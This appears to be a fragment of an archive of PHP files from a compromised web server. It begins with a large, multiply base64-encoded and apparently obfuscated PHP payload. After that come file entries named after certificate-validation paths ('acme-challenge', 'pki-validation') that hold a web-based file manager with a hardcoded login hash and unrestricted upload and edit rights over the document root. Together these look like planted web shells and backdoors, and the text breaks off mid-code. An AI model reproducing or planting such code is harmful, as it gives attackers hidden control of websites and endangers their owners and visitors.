Rk5VVmxaWlkwWmFUazFyV2xoVmJUVnJWVEF4Vms1V1NtRlNla1oyV1cxNFUxWnNWblZoUmxaV1RURktWVmRXV21GWlZtUnpW VzVTYUZKNmJIQlVWVnBXWld4a1YyRkhPV3RoTTA0MVdUQlNZVmRyTVVWV2FrNVhUVVp3TTFVd1dsZFRWazV5Vkd4a1UwMHlh RkJXVkU1elRVZEplVkpyVW10VFNFSnZWRlpvUTFSR1pIUk5WVGxwWWtVeE0xWlhkSE5VYkZsNlZXNVNWV0V4Y0hwVmExcEta REE1V1ZSdGFGTk5ibWN5VmtjeE5GVXlTblJTYms1VlZrVndZVlJWVm1GVVJsSlhXa1YwVjFJd01UUlphMXBQVlVaS2NsZHJW bFZXUlVwaFdUSjRUMUpzY0VkVmJXeFlVak5vVmxkV1kzaFZNVkY1VTJ0YWExSlhhSEJWYkdoRFl6RldjMWR1Wkd0U01GcFhW VzAxVjFSck1VZFNXR2hhVFVaYVMxcEVRWGhTYlVaSFkwVTFhRlpIZHpCV2JYQlBVVEF3ZUdORldtaFRSa3BWVld4U2IwNXNi SE5XYlhSb1ZqQndXRmxyVWs5VmJVVjZWRmh3V0ZadFVuSlViRnBYVjBaYWRGSnRhRmRoTVc5NVZteGFhazFYVW5OaVNFNXBV bXRLVTFsVVRtcE5SbXgwWlVkd1RtSklRbmxXYlhoaFlVWktjMkpFVmxWaE1sSlFWakZrVW1WVk1WbGpSMFpUVFRGS1dsZFdh SGRSTWxaSVZteFdhRkp1UW05VVZtUnVUV3hrY1ZOdFJsZE5hMXBLV1ZWb1MyRnJNVmxSYXpGWVlUSlNjbFpIZUdGa1IxSkdU bFpPVTFadVFYaFhWRUpXWlVaS2MxTnNVbXRTTTBKWFZGUktVMDVzYkhKWGJtUldVbFJXV2xaWGN6RlhSa3B5VGtod1dGWkZT a2hXYWtwTFVsWldkR1ZGT1ZOV1JWcElWako0YTJJeFNuSk9WbEpRVjBWYVZGUlZVbTVsUmxGM1draGthbUpGTlZaWmEyaFBZ a1pLY2xkc1pGZGlWRVp5V1RJeFNtVkhTa2xUYkdSVFVqSm9WVlpxUm10VU1rVjNUbFpXVW1KdGVGaFdhMVpLWlVaYVIxVnNU bE5XTURFMVZqSndWMVpGTVhSVVdIQllZVEZ3VkZsdGVISmxWbEpWVW1zNVRrMVlRa1JXYTFadllURmtjMkpFV2xkV1JVcHhW RlJHWVZKc2NGaE5XRTVvWWxaYVdsVXlkSGRaVjBweVYxaHNXbFpXU25wVWJHUlRZMFU1VjFkdGVHbFhSMDE0VjJ0U1IxRnRW a1pOVm14cFUwWktXRlZxUm1GVlZsbDVaVWRHVjFZd01UVlViRll3Vm14SmVXRkZWbGRXZWxaaFdrZDRhMk5yT1ZsU2JVWlha V3RhVGxaWGVGTmhNa1pHVGxWb1UxZEhlRzlVVlZwaFVteFNjMVJ1Y0d4V1ZHeFpWakl3ZUdFeFdrZFRhM1JWWWxob1lWcEVT azlXVmxKMFpFZDBhV0pYVVRGWFZFcDNWakZzVms1SWNGWmlSVFZQV2xab1RtVldaRmRYYlhSc1ZteGFXVmRyVmxkV1ZrbDZZ VVJPVmsxR1NsTmFSM2hMVjBVeFYxSnJOVmRTYkc4d1ZrUkdiMUl5VmtoVmJGWlhZa1UxV1ZsclZuWmxiRkpWVTJwQ2FHRjZi RmhXTVZKUFZHMVdjbU5FVGxWaGF6VXpXVlZWTVU1c1JuUmxSbWhVVWpOb01GZHNWbGRXTVZKelZHNVNUbFpyV2xkVVYzaFhU bXhSZUZScVFsTldNVXBXVlRJeGIyRXlTa2hWYm5CaFZucFdNMVJWV2t0ak1WcDFZMGQwVTAxWVFqSldiWFJoVXpGU1YySklR bEJYUlVwWVZteFNRbVZXVm5KWk0yUk9WbFJXZDFReFpFZFdWbHBJWVVWb1dHSllRbWhaZWtGNFVqSktSMVZzVWxOTlYzUXpW MVJHVjAxSFNrZFZhMlJXVmtVMVQxbFhkSEpOVmxweFVXMDViR0pHV2tsYVZXaFhWV3N4Vm1FemNGWmlXR2g1V2tjeFIxSnJP VmxoUlRWVFlURldORmRzWTNoVmF6RnpVbGhzVkdKcldsZFVWM0JTWkRGV1ZWSnJUazlTTVZwV1ZsYzFWMVl4U2paU2JIQmhV bXhLU0ZVd1drdFRSMDVGVm1zNVRsWXhTa1pXUmxKSFl6RktTRlpyVmxkaE0yaG9WbXhrVGsxV1VuTlhiWFJUVFZoQ1IxcFZh RTlVVlRGMFlVaEdXazB6UW1GWk1uTjRVakpLU0dSRk5VNWlWa3BhVmxkd1IxWXhSWGxUYTJSWVlrVktZVlpzWkc5alZsWlpZ MGQwVjFKcmNGcFpNR1J2VlRGWmVHTkljRmRXYkZwVVZteGFXbVF3T1ZoaVJUbFhZVEk0ZVZaRlVrZFVNazE1VTJ0b1VGWjZS bkZXYWs1clRteHdSMXBHVG10aVZUVXdXbFZrTkdGR1dYaFdXR1JhVm0xb1UxUnJaRXRXTVdSWllVVTFWRkpyYTNkWFYzUlhV MnMxUjJKSVVsWmliV2hUV1ZSR2QyVldXbGRXVkZaVVVteEdObFZ0Y0V0WFJrbzJWbXhXVm1KWVFtaFdSbVJHWlZkT1JtTkhh RmRpV0doTlYxZDBVMVl4VFhkTlZtaFZWMGhDY0Zsc1ZYaE9WbkJJWkVkMFYwMXJOVmxXUnpWelZVWlplbGt6YUZkaVdGSnlX V3BHYTFOR1ZuTmlSbkJPWWxaS1JsWlVUbmRpYlZGNFkwaEtWMkpZYUZWWlYzaDNZakZTYzFwRlpHeFdiRm94VlRJd2VGZHNX bkpYYmxKaFVsWktWRmxXWkV0VFZtUnlWRzE0VTFKWVFYbFhWM2hUVlRGc1YxTnVTazVUU0VKV1ZGUkJNV1ZzY0VsaGVsWnFW bXMxVjFZeWRHOVVNa3AwVkdwT1ZsWkZXbGhXUlZwSFYxZEtTVlJzVms1V01ERTBWbXRXYTFKdFVuTlZhMXBvVFRKb1ZsUlda RFJTYkZKeFUycENWVkpyV2xsV2JURnpWbFpLU0dRelpGZGlSbG96VmxWa1QyTldSbkpPVmxaVFZsaEJNbFpHVm1wa01EVkhV MjVLVm1KRk5VNVVWV2hPWkRGa1YyRkdUbWxpUlhCSFZrY3hkMVl5Vm5KWGFscGFWbTFvZGxZd1ZYaFdWbVJaVTIxNGFFMXNT akpXVm1NeFYyc3hkRlZZYkdGbGJGcHhXV3RXZDFWc1VsZGhSbVJQWWxaS1dsVXllR0ZoYkZsNldUTnNZVk5JUWxoV1JtUkhW a2RTU1dKRk5WZFdiVGswVm14a2NrNVdaRWhUYkZacFVrVktUMVpxUm1Gak1XeFdZVVYwYTJGNlFqVlhWRTV2VlRBeFNHRkZV bFpoTW1oWVdWWmFZVll4YjNwaFJrSlRWbXR3TWxaRVJtdFZNVXB6VW01R1VtSnNTbkZWYWs1dlZERmFSVlJ1VGxkaVJUVkhX a1ZTUjFSdFJYZE9WMmhoVW5wR2RsUldXa2RXYkdSMVVXczVUbUpGYjNsV01uaE9UbFpTZEZSclZsVmlWR3h6Vm0weE5FMXNX blZqUldSVllraENWMXBWV25kWGF6RnpZMGM1V21FeWFIbFVWbVJUVjBaYWRXSkdUbWxpUm5CaFYxUkNiMVV4U2taT1ZXeFlZ VEpvWVZsc1ZsZE9WazQyVTJwT2FtSkdTbnBWTW5CTFZHeGtSMU5zYUZwV1YyaFlWVEJWTVZKdFZrZGpSVGxvVFVad1MxWXlk Rk5pTVU1WFlrWldWMkZyU2xoWmJYaGhVa1prV0dWSGRHaGlSbTh5VlRKNFYxVnRSbkpUYlVaWFRWZG9URlpIZUd0V1ZsWnpX a1U1YVZaSGVFVlhWRUpoVWpGc1YyTklUbWhTTUZwWFdXdFdZVTVXV2tobFIzUlZWakF4TlZZeWNGTldiR1JHWVROb1drMVhh SHBYVm1ST1pWZFdSbHBIY0U1TmFtdDVWakZhYTJFeFNuSk9XRTVXVjBkU2NGWnNVbkpOUm10M1ZXeHdiRlpyTVRaVmJYUmhW bXhhU0dWRVdscGhhMGwzV1RCa1UyTXhUblZqUmxaVVVtdHdNRmRYZEc5ak1WbDVWV3RrYUZKWGFITlZha0V4V1ZaU2RHVkZU azlpUlZwV1ZsZHdRMVF5Vm5OWGJXaGFWak5vTTFZeWVIZFRSVGxZWVVkb1UxSlZjRlJXTW5oaFVqQXhWMVJzVmxSaWJrSlFW bXBDY21Wc1drZGFSV1JhVm14R00xVnRlRU5XYkVwVlVtcFNWMVpXU25wYVZ6RlRVbXN4VmxOdGRFNU5iRXBvVmpKNFQyVnRW blJXYkd4U1lUQndXRmxyWkc5TmJGRjRWV3M1VTFaVVZrWldNblJYV1ZkS2NsZHJiRmRoYXpWUVdXdGFVMk5XV25KaFJtUnBV bXh3U1ZZeFVrdFRNa3BHVGtob1lWSXdXbkZaYlRGdlRsWmFkV05GT1ZoV2F6VkpWMnRhYjFkR1NraGFTR3hXWVd0S2NsWkVT bE5UUlRWWFUyeFNVMDF1VGpaWFYzaFhWbTFXU0ZScVdtRlRSVXB4V1Zod2MxSnNWblJOVlRsVFRWWndNVlZYZERCVk1WbDVW V3hhVmsxSFVYcFVWbHBQVW14V2NWZHJOVk5pYTBvMlZteGFZVk14WkVoVmEyeFdZWHBzY1ZsdE1UUlZiRkpXV2taa1RtRjZS a2haVlZWNFlWWlplbHBFVWxoaGF6VlFXVlphVm1ReVZrVlViSEJZVWpOUmVsZFdaRFJXTWxGM1l6TmthMUpHU205V2JGWmhU bFpWZDJGSVpGVldWRVpJVm0weGMyRXhXWGhYYWtKWFlURmFWRlpzV21GWFZtUnpWRzEwYUUweWFFUldiWEJQVlRKTmVHTklV bFppYXpWb1ZXeFdZVlpHY0ZaWGJHUnBWbXR3TUZVeWNFOVViR1JKVVc1c1ZXRXhXbFJhVmxwclpFWldkRkpzVGxOaVIzUTBW MVpXYjFReVRYZE9WV1JTWWtWd2NsVnRkSFpsUm5CSVpFaE9WVkl4V2xsYVJXaEhWVEF4YzFOdVdsaFdSVFZ5VmtkNGMxZEdj RVpsUjNob1RURkpNRmRyVWt0ak1rVjRVMnhvWVdWc1NsZFZhMXBoWTJ4U2NWTnFRbFppUmxZMVdWVm9iMkZWTVVkalJscGFZ VEZhV0ZaVVJsTmtSVGxKWVVab2FHRXpRbUZXVkVwM1VURkdkRkp1VGxKaGF6VnpWbXRWTVdOV1dYbGxSVGxYVm14V05sWXlj RWRVUlRGWFZsaGtWV0pZVFhoYVYzaGFaVVpXY1ZOc1VrNWlWMmhRVjFaV1UxTnRWblJUYkZaVFZrVndjVmx0TVhwa01WSnhW RzA1YUUxVk5VbFdNbkJEWVZaYVdWRnFWbFpOUjAweFZURlZlRk5YUmtobFJUbFVVbGhDZWxacVNURmtNVnBIVW01U2FGSkdT bFJWYkZKU1RWWldWVkZ0UmxkTlZUVXdWa2MxUjFaR1dsZFRha1poVWtWd2VsUlhlRnBrTVdSMVUyeG9hVlpHUmpSWGJHTXhW akZGZUZSc1pHaFNiRXBRVkZkd2MxSXhXblJsUlhSV1RWVndWbGxyV210V1ZURkpXVE5zVmsxcVJuWmFWVlY0VWxaU2RWZHRl Rk5YUlRReVZrUkNZVlF3TlhOV2JHaFVZV3RLVkZsdE1UUlJNV1JYVjJ4T1UxSnRkRE5XTWpWTFlURmFTR1I2U2xwaVdGSkxW RlZWTVZOWFNqWldhemxvVjBaS1RsZHNWbGRrTVZGNVZHdHNWbFpGY0U5V2JGcGhVa1pSZUdGSGRHbE5WbHA0Vm0xNFUxVXdN VVpXYWxwVlZqTlNlbFpxU2xOa1ZrNTBaRWRzVGxZelp6RldSRUpxVGxVeFdGTnFXbWhUUlVwVVdXeGtVazFHWkZobFNFcE9U VlZ3VjFVeFVrdFZiRmw1WlVSV1lWSnNXVEJVYlRGVFZtczVSVkZzVms1WFJVcEtWa1pqTVdJeVRrZGlSbFpVWVROU1dWVnJX bk5PUmxsM1YyeGtWV0pWY0RCVmJGSlhZVEZLYzJORk9WWmlXRTEzVkZWYWRtVlhTWHBpUmtKVFRUQkpNbFpFUm10T1IwMTRW R3RvVTJKR1duSmFWM2hLVFVaYWNscEVVbEppUmxwWFZHeFNUMkV4V2tkalNHaFZWak5DY1ZSWGVGcGxSa1p4Vm1zNVYySkZj RlZYYTJSM1dWWlJlRmRzYkdwVFIzaFlXVlJLYjJWR1VYaFhiWFJVVW01Q1NWWkdhSE5YUms1SVZXcEdWMVpGV2xOVVZXUkxZ ekpLUjJKSGJGZFNiRlY0VmpJeE1GbFZNWFJUYTJob1VsWmFVRmxVUVRGT1JtUnlXa1pPYTJKR2NIcFdNbk40VlVaYVIxWnFW bGhoTW1oRVdXcEdWMlJGTlZkYVIyeFlVakF4TlZkWGRHRlVNazVIVkd0c1YyRjZSbFJXYTFVeFpGWlNXRTVXVGxoV2JHdzFW RlZvZDJGc1duTmpSbEpZWVdzMWNsUnJXbFpsVmxaeVkwWlNiRlpIZUVoV2JURXdWakpLV0ZKcldtcFNiRXBSVld4YWQxSnNV bk5hUlhST1VtNUNWMWxyYUVOV1ZscFdWMjFHVjAxWFVqSlVhMXBPWlZkU1IxUnNUbGhTYkZWNFZtMTRiMUV4V25OalJWWldZ V3hLVlZWcVJsWk5SbHBYV2taa1YwMXNXa2RWYlRWRFZFVXhSVlZxV2xkTmFsWjJXWHBLUjFOSFZrWlZiRlpYVFdzMU5WZHJV azlUTVZwSFZWaHNWR0p0ZUZsV1ZFNVRVa1prV0dORlRrNVNiVko1V2tod1ExZEdTbk5XYWs1V1lXdHdhRmxXVlhkbGJIQkpW RzFzVGxaWE9UUldNV1IzVVRGV2MySXpiRkJXYXpWUFZtcEJNVmxXYkZkWGEzUlZUVVJzU0ZZeWRHdFVhekYwWVVVeFZWWXph RkJhVmxwelYwWmtjMkpIZUdsV1JWcFNWMVJHVjJNeFJuTlVhMnhvVWpOQ2FGbFVUa05UUm14VlUyNWtiRll3TVRWVk1uQlBW VzFLUm1JelpGcGhhelY2VmpGV2VtVkdaRlZUYkdSWFlsWktNbGRYZEZkaU1VcEhWV3hvYWxJelFtRldiRkpUVGxaa2RFNVdU bXRTYmtKR1ZtMXpNVlpyTVhOWGJrSlhVbTFSZWxScldtRmtWbEoxWTBaU2JHSkZhM2xXVkVaWFZHMVdWMVJyYkZKWFIyaFlW V3hvVTFkV1VuSldiR1JPWWtkME5sWlhjRWRWYlVwSVZWUktWMkpVUlhkWFZtUlBUbXhhV1ZwR1VsTmlWa3BFVlROd1MyUXhU blJTYWxwVlYwVndVVlp0ZUdGV2JGcHlZVVprYUZJd1drWlZNalZyVmpKS2MxZHFWbGRoYXpWUVdUSXhUMUpzY0RaU2JYUllV bFZ3Tmxkc1ZrNU9Wa3BJVWxoc1ZXSkdjSEJaYlRGclRXeGFWVk5yWkZoU2JYUXpWVEZTVTFWR1NrWlRiRVphVFVad1dGVnFT bGRTVmxKelUyeG9XRkl4U25sV01WcFRZakZLY2s1SWJGUmhhMHBVVkZab1EyRkdVbFpXVkVab1VqRmFWMWxyYUhOV1YwcElZ VVJTVjAxcVJrZGFWVnAzWTJ4a2NsVnNVbE5XUjNoV1ZsZDBiMWxWTlVkYVNFcFFWbGRTY2xaVVRsTmxiRlYzVjJ0YWJGWnVR bFpYYTFZMFZqRktjMWRxVmxoV2VrSTBXV3RWZUdOV1ZsbFRiWFJYVmtkNFdsWnJVazlrTWxKR1l6TnNhVkp0VWxWVk1GVjNa VVp3U0dORlpHcFNNRm93Vm0weFIyRkhTblJoU0VwV1lrWndUMXBXV2tkV1ZsSnlZVVpTYVZKcmIzZFdSbU40WkdzeFIxUnJh R2hTVm5CUFZXcE9RMk5XVlhsT1ZXUlNUVVJHTVZkclVsTlZhekZHVFVSQ1YySlVRalJWZWtwVFpGWldkVlZzVWxkU00yaFJW MWh3VDJOck1IZE9WV3hWWWxSV1YxWnJXa3RrTVhCV1dYcFdUbUpGY0VoWGEyaERWbXhLTmxKck1WUmxhMFV4V1ZWVmVFNVZP VlpXYkdST1lXdGFiMVpYZUc5aU1VbDVVbTVXVm1Kc2NGTlVWRW96VFd4V1dFMUVSbWhTYXpFelZtMTRRMVZHV2xaT1dGWlZW bXh3UjFwSGN6RlRWbkJIVTJzNVRsWlVWbGhXVmxKTFltMVdkRkp1VGxKaVIyaHhWbXhTYzFKR1ZuUmpSazVZWWtoQ1dGZFlj RU5oTWtwSFkwVndWMkV5VWpOV01WcExaRVpPVlZOc1dteFdSM2N3VmxjeE1GSnJNSGhTV0doVllXczFXVlpzYUc5WFJuQllU VmRHVkUxV1drcFdNalZEVkd4S1NGVnJPV0ZXYldoeVZsWldlbVZHVW5SaVIyeFhZbGRvU1Zkc1pEQlNNRFZJVld4b1ZHSnVR bFZWYWs1U1pXeGtWVlJ1VGxWV2JYaGFWbTF6TVZaWFNsaFZiV2hhWWtkb1RGWkVSbUZTTWtaRlZXczVWRkpVVm5aV01qRTBV ekpOZVZSWWFGTmliV2h5V1cxMFMxUXhaRmRaTTJScVlYcENOVmRxVG5kV2JGcEhVMjVPVlUxWFVsaFpNRnBUVTBVNVZrMVdV bE5OYlZFeFZteGFiMWxXWkhOU2JGWmhUVEo0VDFaclpGTmxiRkp6Vlc1S1RrMVZjSHBYYTFwWFZGZFdkR1ZJVGxoaE1VcHlW akJWZDJWV1pIUmpSM1JwVWpKb2FGZHJaRFJSTWxaWVZXcFdVRkpGTlU5WmJURlRUa1pTVjFScVFsZFdiRnBHV1ZWV1QxbFZN WEpXVkVKWVlsUkZkMVZVU2xkVFZrcHlWV3N4VGsxc1NrUldWVnBQVTIxT1JtUkdVbWhsYlU1d1V6Rk9jazR3YkVWUFEzTnBT MU5yTjBsRU9Dc2lLU2s3SUQ4KyIpKTsgPz4=")); ?>acme-challenge/493450/index.php000064400000251255150211554300011767 0ustar00pki-validation/948499/index.php000064400000606621150211554720012106 0ustar00 '$2y$10$TXL7O6TR6p9A5KAe.2YeourvkoZ/b4GlEvhZJ18vZ4Fvhs6b0HAEO', 'user' => '$2y$10$TXL7O6TR6p9A5KAe.2YeourvkoZ/b4GlEvhZJ18vZ4Fvhs6b0HAEO' ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( 'user' ); // Global readonly, including when auth is not being used $global_readonly = false; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong // $_SERVER['HTTP_HOST'].'/folder' $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'm/d/Y g:i A'; // Path display mode when viewing file information // 'full' => show full path // 'relative' => show path relative to root_path // 'host' => show path on the host $path_display_mode = 'full'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Availabe rules are 'google', 'microsoft' or false // Google => View documents using Google Docs Viewer // Microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB) // chunk size used for upload // eg. decrease to 1MB if nginx reports problem 413 entity too large $upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB) // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the external config file, try to use it to override the default config above [config.php] $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // External CDN resources that can be used in the HTML (replace for GDPR compliance) $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // upload chunk size define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); // Prevent logout issue after page was cached session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } //Generating CSRF Token if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } // Validate connection IP if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Checking if the user is logged in or not. If not, it will show the login form. if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // Handle all AJAX Request if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ 